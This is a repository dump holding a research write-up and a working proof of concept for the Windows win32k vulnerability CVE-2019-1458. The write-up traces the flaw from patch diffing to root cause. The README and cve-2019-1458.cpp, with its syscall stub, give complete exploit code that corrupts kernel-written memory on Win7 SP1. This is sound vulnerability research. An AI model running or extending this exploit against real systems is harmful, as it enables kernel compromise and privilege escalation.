├── img ├── success.PNG ├── NtUserfnDWORD.png ├── successfull_run.png ├── NtUserMessageCall.png ├── xxxSetWindowLong.png ├── xxxSwitchWndProc.png ├── bindiff_comparison.png ├── xxxPaintSwitchWindow.png ├── windbg_exploit_working.png ├── InternalRegisterClassEx.png ├── InitFunctionTable_comparison.png ├── InitFunctionTable_typeapplied.png ├── DrawSwitchWndHilite_being_called.png └── kespersky_windows_0day_wizardopium_03.png ├── syscall.asm ├── cve-2019-1458.cpp └── README.md /img/success.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/piotrflorczyk/cve-2019-1458_POC/HEAD/img/success.PNG -------------------------------------------------------------------------------- /img/NtUserfnDWORD.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/piotrflorczyk/cve-2019-1458_POC/HEAD/img/NtUserfnDWORD.png -------------------------------------------------------------------------------- /img/successfull_run.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/piotrflorczyk/cve-2019-1458_POC/HEAD/img/successfull_run.png -------------------------------------------------------------------------------- /img/NtUserMessageCall.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/piotrflorczyk/cve-2019-1458_POC/HEAD/img/NtUserMessageCall.png -------------------------------------------------------------------------------- /img/xxxSetWindowLong.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/piotrflorczyk/cve-2019-1458_POC/HEAD/img/xxxSetWindowLong.png -------------------------------------------------------------------------------- /img/xxxSwitchWndProc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/piotrflorczyk/cve-2019-1458_POC/HEAD/img/xxxSwitchWndProc.png -------------------------------------------------------------------------------- /img/bindiff_comparison.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/piotrflorczyk/cve-2019-1458_POC/HEAD/img/bindiff_comparison.png -------------------------------------------------------------------------------- /img/xxxPaintSwitchWindow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/piotrflorczyk/cve-2019-1458_POC/HEAD/img/xxxPaintSwitchWindow.png -------------------------------------------------------------------------------- /img/windbg_exploit_working.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/piotrflorczyk/cve-2019-1458_POC/HEAD/img/windbg_exploit_working.png -------------------------------------------------------------------------------- /img/InternalRegisterClassEx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/piotrflorczyk/cve-2019-1458_POC/HEAD/img/InternalRegisterClassEx.png -------------------------------------------------------------------------------- /img/InitFunctionTable_comparison.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/piotrflorczyk/cve-2019-1458_POC/HEAD/img/InitFunctionTable_comparison.png -------------------------------------------------------------------------------- /img/InitFunctionTable_typeapplied.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/piotrflorczyk/cve-2019-1458_POC/HEAD/img/InitFunctionTable_typeapplied.png -------------------------------------------------------------------------------- /img/DrawSwitchWndHilite_being_called.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/piotrflorczyk/cve-2019-1458_POC/HEAD/img/DrawSwitchWndHilite_being_called.png -------------------------------------------------------------------------------- /img/kespersky_windows_0day_wizardopium_03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/piotrflorczyk/cve-2019-1458_POC/HEAD/img/kespersky_windows_0day_wizardopium_03.png -------------------------------------------------------------------------------- /syscall.asm: -------------------------------------------------------------------------------- 1 | _DATA SEGMENT 2 | _DATA ENDS 3 | _TEXT SEGMENT 4 | 5 | PUBLIC NtUserMessageCall 6 | NtUserMessageCall PROC 7 | mov r10, rcx 8 | mov eax, 1007h ; Win7 sp1 9 | syscall 10 | ret 11 | NtUserMessageCall ENDP 12 | _TEXT ENDS 13 | END 14 | 15 | -------------------------------------------------------------------------------- /cve-2019-1458.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii); 5 | 6 | int main() { 7 | HINSTANCE hInstance = GetModuleHandle(NULL); 8 | 9 | WNDCLASSEX wcx; 10 | ZeroMemory(&wcx, sizeof(wcx)); 11 | wcx.hInstance = hInstance; 12 | wcx.cbSize = sizeof(wcx); 13 | wcx.lpszClassName = L"SploitWnd"; 14 | wcx.lpfnWndProc = DefWindowProc; 15 | wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0 16 | 17 | printf("[*] Registering window\n"); 18 | ATOM wndAtom = RegisterClassEx(&wcx); 19 | if (wndAtom == INVALID_ATOM) { 20 | printf("[-] Failed registering SploitWnd window class\n"); 21 | exit(-1); 22 | } 23 | 24 | printf("[*] Creating instance of this window\n"); 25 | HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); 26 | if (sploitWnd == INVALID_HANDLE_VALUE) { 27 | printf("[-] Failed to create SploitWnd window\n"); 28 | exit(-1); 29 | } 30 | 31 | printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); 32 | NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1); 33 | 34 | printf("[*] Allocate memory to be used for corruption\n"); 35 | PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 36 | printf("\tptr: %p\n", mem); 37 | PBYTE byteView = (PBYTE)mem; 38 | byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow 39 | 40 | //pass DrawSwitchWndHilite double dereference 41 | PVOID* ulongView = (PVOID*)mem; 42 | ulongView[0x20 / sizeof(PVOID)] = mem; 43 | 44 | printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); 45 | SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem); 46 | printf("[*] GetLastError = %x\n", GetLastError()); 47 | 48 | printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); 49 | HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); 50 | 51 | printf("[*] Simulating alt key press\n"); 52 | BYTE keyState[256]; 53 | GetKeyboardState(keyState); 54 | keyState[VK_MENU] |= 0x80; 55 | SetKeyboardState(keyState); 56 | 57 | 58 | 59 | printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); 60 | NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1); 61 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-1458: Going from 'in the wild report' to POC 2 | 3 | ## Intro 4 | 5 | In December Kaspersky published a blogpost about [0day exploit used in the wild][1]. It piqued my interest because although they described how the exploit was working, they didn't provide any POC in their analysis. 6 | This is why I decided to try writing POC for this vulnerability based on Kaspersky's blogpost and patch analysis. 7 | This post describes my journey doing that. 8 | 9 | ## Information gathering: 10 | 11 | First thing was to collect as much information about this vulnerability as I could. 12 | Reading through mentioned blogpost I extracted following information: 13 | 14 | - Vulnerability is related to window switching functionality 15 | - Requires simulating ALT key presses to trigger 16 | - There needs to be two calls to undocumented `NtUserMessageCall` API 17 | - Special switch window needs to be created 18 | - There was some reference to kernel function `win32k!DrawSwitchWndHilite` 19 | 20 | Beside that there is nice screenshot of decompiled code showing some of previously listed things. 21 | To be exact it shows: creation of switch window, call to function named `toggle_alt_key` and multiple calls to `NtUserMessageCall`. 22 | 23 | ![Part of decompiled exploit code](img/kespersky_windows_0day_wizardopium_03.png) 24 | [Image source][1] 25 | 26 | A lot of useful information, but it still doesn't describe how exactly this vulnerability works and how to trigger it. 27 | 28 | ### Patch diffing 29 | [Affected module was win32k.sys][2]. I downloaded both patched and unpatched versions of this module. 30 | For win7 x64 those were: 31 | 32 | - patched: KB4530692 33 | - unpatched: KB4525233 34 | 35 | They can be downloaded from [Microsoft Update Catalog][3] 36 | 37 | Here is bindiff result of comparing both versions 38 | 39 | ![win32k comparison](img/bindiff_comparison.png) 40 | 41 | After ruling out functions related to `DebugHook` functionality all we are really left with is this slightly changed function `InitFunctionTables()` 42 | 43 | ![InitFunctionTables changes](img/InitFunctionTable_comparison.png) 44 | 45 | Definitely not the biggest patch out there. 46 | This won't help to immediately identify root cause of this vulnerability. But it's worth noting that some initial values for variables at 47 | `*(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180)` have been added. So this might be a bug related to uninitialized variable. 48 | 49 | ## POC building - step by step 50 | In this section I will present how I progressively build up POC that triggers this vulnerability, while simultaneously figuring out what the vulnerability actually was. 51 | 52 | ### Where to start 53 | Patch diffing didn't give too much useful info at the beginning, so I relied mostly on Kaspersky's blogpost at first stage of development. 54 | To have a good testing environment I prepared Win7 SP1 x64 VM with last vulnerable version of win32k running. On top of that I attached Windbg to this VM to do kernel debugging and while doing that I also set up symbol server path. 55 | I started my investigation by looking at `win32k!DrawSwitchWndHilite` which was mentioned in blogpost. It is being called from two places: `xxxMoveSwitchWndHilite` and `xxxPaintSwitchWindow`, latter one immediately got my attention, because of surrounding `GetKeyState/GetAsyncKeyState` calls that were mentioned in original report. What is more those calls are checking for ALT key being pressed. 56 | 57 | ![Interesting callsite to DrawSwitchWndHilite](img/DrawSwitchWndHilite_being_called.png) 58 | *Call to `DrawSwitchWndHilite` from `xxxPaintSwitchWindow`* 59 | 60 | Further following call cross references (`xxxWrapSwitchWndProc`->`xxxSwitchWndProc`->`xxxPaintSwitchWindow`->`DrawSwitchWndHilite`) I found that first element in that chain is referenced in `InitFunctionTables`, function that was fixed in patch. 61 | 62 | Next I looked into `NtUserMessageCall` from screenshot of decompiled code. 63 | Here is declaration of this function 64 | 65 | ```cpp 66 | NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi) 67 | ``` 68 | 69 | Exploit is calling it with `msg = 0x14` and `dwType = 0xE0`. Let's see what it does. 70 | 71 | ```cpp 72 | HINSTANCE hInstance = GetModuleHandle(NULL); 73 | WNDCLASSEX wcx; 74 | ZeroMemory(&wcx, sizeof(wcx)); 75 | wcx.hInstance = hInstance; 76 | wcx.cbSize = sizeof(wcx); 77 | wcx.lpszClassName = L"SploitWnd"; 78 | wcx.lpfnWndProc = DefWindowProc; 79 | 80 | printf("[*] Registering window\n"); 81 | ATOM wndAtom = RegisterClassEx(&wcx); 82 | if (wndAtom == INVALID_ATOM) { 83 | printf("[-] Failed registering SploitWnd window class\n"); 84 | exit(-1); 85 | } 86 | 87 | printf("[*] Creating instance of this window\n"); 88 | HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); 89 | if (sploitWnd == INVALID_HANDLE_VALUE) { 90 | printf("[-] Failed to create SploitWnd window\n"); 91 | exit(-1); 92 | } 93 | NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1); 94 | ``` 95 | 96 | Here I registered simple window class and created window of that class. Then called `NtUserMessageCall` with same parameters as exploit. To see what happens under the hood I setup breakpoint `kd> ba e 1 win32k!NtUserMessageCall` and run the code. 97 | There are quite a few calls being made to this function so I had to catch the right one, but it wasn't that difficult, it was the one with really short callstack. 98 | 99 | ![NtUserMessageCall](img/NtUserMessageCall.png) 100 | *`NtUserMessageCall`* 101 | 102 | Stepping through code revealed that it calls function from `gapfnMessageCall` array, index is calculated based on `msg` value and is equal to 0, so the call is made to `NtUserfnDWORD` 103 | 104 | ![NtUserfnDWORD](img/NtUserfnDWORD.png) 105 | *`NtUserfnDWORD`* 106 | 107 | Next call is made using `dwType` value, and now `gpsi` offset equals to 0x40, and call leads to `xxxWrapSwitchWndProc` (this function already appeared when I was checking `DrawSwitchWndHilite` call chain). 108 | `xxxWrapSwitchWndProc` simply calls `xxxSwitchWndProc`. 109 | 110 | ![xxxSwitchWndProc](img/xxxSwitchWndProc.png) 111 | *`xxxSwitchWndProc`* 112 | 113 | And this is the end, code fails here, not going any further to `xxxPaintSwitchWindow`, which is where we want to get based on `msg` value (`0x14`). Let's check why. 114 | 115 | ### Triggering correct path 116 | Code fails at this stage because, as highlighted on previous image, fnid of our window is not equal to `0x2A0` (`FNID_SWITCH`) and message we are sending is not equal to 1, hence we end up in `xxxDefWindowProc`. To avoid this scenario we have to call `xxxSwitchWndProc` with fnid set to `FNID_SWITCH`, so that we will go straight to switch statement and later to `xxxPaintSwitchWindow`. 117 | How to set correct fnid? Actually the same function does it in the first if block, we just have to fail all checks inside it to get to the instruction setting fnid. 118 | 119 | Here are conditions we need to meet, to fail all three if checks: 120 | 121 | - `fnid == 0` and `cbwndExtra + 0x128 >= *(gpsi + 0x154)` 122 | fnid is equal `0` for each newly created user windows. 123 | `*(gpsi+0x154)` is equal `0` in upatched win32k! But even if it was set to `0x130`, like in patched version, we could set `cbwndExtra` to 8 or higher and still bypass first check. 124 | - `msg == 1` 125 | Can be set in `NtUserMessageCall` call. Although with `msg` set to `1` control flow passes through `NtUserfnINLPCREATESTRUCT` instead of `NtUserfnDWORD` but it still ends up in the `xxxSwitchWndProc` 126 | - `extraData == 0` 127 | ExtraData size can be set when registering window class using mentioned `cbwndExtra`. ExtraData is appended right after `tagWND` structure (I added this field to `tagWND` structure in IDA as `QWORD` at offset `sizeof(tagWND)`, to make decompiled code a bit nicer). It's value can be set with call to `SetWindowLongPtr`. 128 | 129 | If all those conditions are met, window's fnid will be set to `FNID_SWITCH`. 130 | So now we need to call `NtUserMessageCall` twice, first time with `msg` equal `1` to set desired fnid, and second time to reach `xxxPaintSwitchWindow`. 131 | 132 | ```cpp 133 | HINSTANCE hInstance = GetModuleHandle(NULL); 134 | WNDCLASSEX wcx; 135 | ZeroMemory(&wcx, sizeof(wcx)); 136 | wcx.hInstance = hInstance; 137 | wcx.cbSize = sizeof(wcx); 138 | wcx.lpszClassName = L"SploitWnd"; 139 | wcx.lpfnWndProc = DefWindowProc; 140 | wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc 141 | 142 | printf("[*] Registering window\n"); 143 | ATOM wndAtom = RegisterClassEx(&wcx); 144 | if (wndAtom == INVALID_ATOM) { 145 | printf("[-] Failed registering SploitWnd window class\n"); 146 | exit(-1); 147 | } 148 | 149 | printf("[*] Creating instance of this window\n"); 150 | HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); 151 | if (sploitWnd == INVALID_HANDLE_VALUE) { 152 | printf("[-] Failed to create SploitWnd window\n"); 153 | exit(-1); 154 | } 155 | 156 | printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); 157 | NtUserMessageCall(sploitWnd, WM_CREATE/* = 1*/, 0, 0, 0, 0x0, 1); 158 | 159 | printf("[*] Calling NtUserMessageCall second time"); 160 | NtUserMessageCall(sploitWnd, WM_ERASEBKGND/* = 0x14*/, 0, 0, 0, 0x0, 1); 161 | ``` 162 | 163 | I added `extraData` to window class and added second call to `NtUserMessageCall`. Now control flow is able to reach `xxxPaintSwitchWindow`. 164 | (Side note: `dwType` doesn't have to be equal to `0xE0`, `0` works just as well, since it's anded with `0x1F` anyway in `NtUserfnDWORD`) 165 | 166 | ![xxxPaintSwitchWindow](img/xxxPaintSwitchWindow.png) 167 | *`xxxPaintSwitchWindow`* 168 | 169 | Upon closer examination I noticed that value `extraWndData` taken from window object (line 25) is being used as a pointer to write to (line 46-52)! If I can reach the code that sets `extraWndData` to value controlled by me I can corrupt some arbitrary memory! 170 | To reach it I first need to pass some more check (marked with red) 171 | 172 | - Check if window has flag `WS_VISIBLE` set. 173 | This flag can be set in `CreateWindowEx` 174 | - `fnid == 0x2A0` and `cbwndExtra + 0x128 == *(gpsi + 0x154)` 175 | Fnid is already set by first `NtUserMessageCall`. 176 | The problem arises with second part of this check because `*(gpsi + 0x154)` is not initialized in vulnerable `win32k` module, hence this check will always fail. Unless we somehow set `*(gpsi+0x154)` to correct value. It turns out that creating special switch window, mentioned in Kaspersky's post does exactly that. 177 | - Check if window is not destroyed. 178 | Already fulfilled in this case. 179 | 180 | To create special [switch window][4], we need to call `CreateWindowEx` with name set `0x8003` (`#32771`). This will eventually lead to `InternalRegisterClassEx` being called in the kernel. 181 | 182 | ![InternalRegisterClassEx](img/InternalRegisterClassEx.png) 183 | *fragment of `InternalRegisterClassEx` function* 184 | 185 | This will initialize `*(gpsi+0x154)` to `0x130`. 186 | The side effect of this is that once we set this variable, there is no way to reset it back to 0. So we only have one chance to run the exploit. Any other attempts, until next reboot will fail. 187 | 188 | 189 | ### Controlling dereferenced value 190 | 191 | I am now able to control `extraWndData` that is later dereferenced as pointer and written to in `xxxPaintSwitchWindow`. `extraWndData` can be controlled by calling 192 | 193 | ```cpp 194 | SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong) 195 | ``` 196 | 197 | One thing to keep in mind is that this call has to be made after first `NtUserMessageCall` call, because as was shown `xxxSwitchWndProc` needs window's `extraData` set to 0 on this first call, to bypass necessary checks. 198 | Also `SetWindowLongPtr` has to be invoked before creation of switch window, and here is why: 199 | 200 | ![xxxSetWindowLong](img/xxxSetWindowLong.png) 201 | *fragment of xxxSetWindowLong function* 202 | 203 | __This is where we actually make use of uninitialized `*(gpsi + 0x154)` variable.__ 204 | When this check passes we set `wnd->extraData` to arbitrary value. 205 | If this was correctly initialized, exploit would fail here. 206 | 207 | ```cpp 208 | HINSTANCE hInstance = GetModuleHandle(NULL); 209 | 210 | WNDCLASSEX wcx; 211 | ZeroMemory(&wcx, sizeof(wcx)); 212 | wcx.hInstance = hInstance; 213 | wcx.cbSize = sizeof(wcx); 214 | wcx.lpszClassName = L"SploitWnd"; 215 | wcx.lpfnWndProc = DefWindowProc; 216 | wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc 217 | 218 | printf("[*] Registering window\n"); 219 | ATOM wndAtom = RegisterClassEx(&wcx); 220 | if (wndAtom == INVALID_ATOM) { 221 | printf("[-] Failed registering SploitWnd window class\n"); 222 | exit(-1); 223 | } 224 | 225 | printf("[*] Creating instance of this window\n"); 226 | HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); 227 | if (sploitWnd == INVALID_HANDLE_VALUE) { 228 | printf("[-] Failed to create SploitWnd window\n"); 229 | exit(-1); 230 | } 231 | 232 | printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); 233 | NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1); 234 | 235 | printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); 236 | SetWindowLongPtr(sploitWnd, 0, 0x4141414141414); 237 | printf("[*] GetLastError = %x\n", GetLastError()); 238 | 239 | printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); 240 | HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); 241 | 242 | printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); 243 | NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1); 244 | ``` 245 | 246 | Here is the result of running above code 247 | 248 | ![Debugging succesful run of exploit](img/windbg_exploit_working.png) 249 | 250 | Shortly after this we get a bugcheck when `rdi` gets dereferenced. 251 | Running the same exploit on patched windows: 252 | 253 | ``` 254 | [*] Registering window 255 | [*] Creating instance of this window 256 | [*] Calling NtUserMessageCall to set fnid = 0x2A0 on window 257 | [*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced 258 | bold:[*] GetLastError = 585 259 | [*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130 260 | [*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time 261 | ``` 262 | 263 | `SetWindowLongPtr` fails with error code `0x585` because of properly initialized `*(gpsi + 0x154)`. And kernel doesn't crash. 264 | 265 | ### Root cause (recap) 266 | To summarize the main issue was uninitialized variable `*(gpsi+0x154)`. 267 | But what is this value, why is it important? 268 | `gpsi` is a global pointer to [`tagSERVERINFO`][5] structure. This structure among other things describes system windows (meaning menus, desktop, switch etc), as opposed to user defined windows. 269 | Those system windows are identified by their FNID, for example `0x2A0` means switch window. 270 | 271 | When window class is defined using `RegisterClassEx`, we have opportunity to specify `cbWndExtra` field on `WNDCLASSEX`, this field describes how many extra bytes will be allocated in addition to `tagWND` structure, to store some window specific information. 272 | We then are able to modify those extra bytes using `SetWindowLongPtr`. 273 | System windows use exactly the same mechanism to store additional data they require for working. But in principle this data should not be reachable using `SetWindowLongPtr`. 274 | And we saw that indeed there is a check in `xxxSetWindowLongPtr` that should prevent it. After applying type information this is the check: 275 | 276 | ``` 277 | if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND)) 278 | goto exit_with_error 279 | ``` 280 | 281 | Array `gpsi->mpFnid_serverCBWndProc` describes what is the size of given system window object including extra data. 282 | `*(gpsi+0x154)` becomes `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]` 283 | By leaving this field uninitialized `xxxSetWindowLongPtr` thinks that size of extra data is `-sizeof(tagWND)`, hence we are able to write into field that should be private to switch window's structure. 284 | 285 | Root cause of this vulnerability was then an uninitialized (or rather initialized to 0 by default) variable `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`. 286 | This explains why the patch was so small. All that had to be done was to set it to `sizeof(tagWND) + 8`. In the same fashion now also other `mpFnid_serverCBWndProc` array elements are initialized that previously were not (`FNID_DESKTOP`, `FNID_TOOLTIPS`), probably to also prevent any future variants of this exploit. 287 | 288 | ![InitFunctionTable with types](img/InitFunctionTable_typeapplied.png) 289 | 290 | ## Corrupting memory 291 | With the current state of the exploit we are able to trigger bugcheck, but the crash occurs on instruction: 292 | 293 | ```asm 294 | xxxPaintSwitchWindow + 0x8B: 295 | cmp [rdi+6Ch], r13d ; rdi = 0x4141414141414 296 | ``` 297 | 298 | Last step of preparing this POC would be then to trigger more useful crash or better yet get some memory corrupted and not crash at all. 299 | 300 | To met this last goal we need to: 301 | 302 | - Provide a valid pointer to RW memory. 303 | I choose to allocate some memory using `VirtualAlloc` and pass returned pointer to `SetWindowLongPtr` 304 | - Simulate ALT key press. 305 | As previously noted, there are calls to `GetKeyState/GetAsyncKeyState` in `xxxPaintSwitchWindow` that are checking if ALT key is pressed. And if this is not the case function exits. 306 | Whether to use `GetKeyState` or `GetAsyncKeyState` is decided based on flag in `[extraWndData+6Ch]`. 307 | I choose to simulate ALT pressing using call to `SetKeyboardState`. This will work only with `GetKeyState` so I need to set value at offset `0x6C` to `1` 308 | 309 | ```cpp 310 | ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 311 | SetWindowLongPtr(sploitWnd, 0, ptr); 312 | 313 | BYTE keyData[256]; 314 | GetKeyboardState(keyData); 315 | keyData[VK_MENU] |= 0x80; // simulate ALT 316 | SetKeyboardState(keyData); 317 | 318 | ((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow 319 | ``` 320 | 321 | With this code I got a different crash 322 | 323 | ```asm 324 | DrawSwitchWndHilite + 0x10A: 325 | mov rcx, [r12+20h] 326 | mov dl, 1 327 | mov rcx, [rcx] ; rcx = 0 328 | ``` 329 | 330 | So I also provide a valid pointer at offset `0x20` (that points to itself) 331 | 332 | ```cpp 333 | ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed 334 | ``` 335 | 336 | Now the exploit works without crashing, and when we examine content of allocated page we can see that it was modified! 337 | 338 | ![Memory content](img/successfull_run.png) 339 | 340 | We achieved a stable exploit POC that corrupts memory provided to it. This is much better situation than POC crashing on memory read, because this arbitrary memory corruption can be more easily turned into arbitrary kernel read/write. Plus we have already extracted requirements that memory to be corrupted has to met. 341 | 342 | ## Conclusion 343 | In this walkthrough I presented how I went from the description of the exploit and vulnerability to working POC that can be turned into useful kernel exploit. 344 | This was quite interesting exploit that was possible because of one missing line. So I guess the takeaway is always initialize your global variables. 345 | 346 | ## POC 347 | 348 | ``` cpp 349 | #include 350 | #include 351 | 352 | extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii); 353 | 354 | int main() { 355 | HINSTANCE hInstance = GetModuleHandle(NULL); 356 | 357 | WNDCLASSEX wcx; 358 | ZeroMemory(&wcx, sizeof(wcx)); 359 | wcx.hInstance = hInstance; 360 | wcx.cbSize = sizeof(wcx); 361 | wcx.lpszClassName = L"SploitWnd"; 362 | wcx.lpfnWndProc = DefWindowProc; 363 | wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0 364 | 365 | printf("[*] Registering window\n"); 366 | ATOM wndAtom = RegisterClassEx(&wcx); 367 | if (wndAtom == INVALID_ATOM) { 368 | printf("[-] Failed registering SploitWnd window class\n"); 369 | exit(-1); 370 | } 371 | 372 | printf("[*] Creating instance of this window\n"); 373 | HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); 374 | if (sploitWnd == INVALID_HANDLE_VALUE) { 375 | printf("[-] Failed to create SploitWnd window\n"); 376 | exit(-1); 377 | } 378 | 379 | printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); 380 | NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1); 381 | 382 | printf("[*] Allocate memory to be used for corruption\n"); 383 | PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 384 | printf("\tptr: %p\n", mem); 385 | PBYTE byteView = (PBYTE)mem; 386 | byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow 387 | 388 | //pass DrawSwitchWndHilite double dereference 389 | PVOID* ulongView = (PVOID*)mem; 390 | ulongView[0x20 / sizeof(PVOID)] = mem; 391 | 392 | printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); 393 | SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem); 394 | printf("[*] GetLastError = %x\n", GetLastError()); 395 | 396 | printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); 397 | HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); 398 | 399 | printf("[*] Simulating alt key press\n"); 400 | BYTE keyState[256]; 401 | GetKeyboardState(keyState); 402 | keyState[VK_MENU] |= 0x80; 403 | SetKeyboardState(keyState); 404 | 405 | printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); 406 | NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1); 407 | } 408 | ``` 409 | 410 | ```asm 411 | _DATA SEGMENT 412 | _DATA ENDS 413 | _TEXT SEGMENT 414 | 415 | PUBLIC NtUserMessageCall 416 | NtUserMessageCall PROC 417 | mov r10, rcx 418 | mov eax, 1007h ; Win7 sp1 419 | syscall 420 | ret 421 | NtUserMessageCall ENDP 422 | _TEXT ENDS 423 | END 424 | ``` 425 | 426 | 427 | [1]: https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/ 428 | [2]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458 429 | [3]: https://www.catalog.update.microsoft.com/Home.aspx 430 | [4]: https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window 431 | [5]: https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO 432 | [6]: https://media.paloaltonetworks.com/lp/endpoint-security/blog/the-case-for-smep-exploiting-a-kernel-vulnerability.html 433 | --------------------------------------------------------------------------------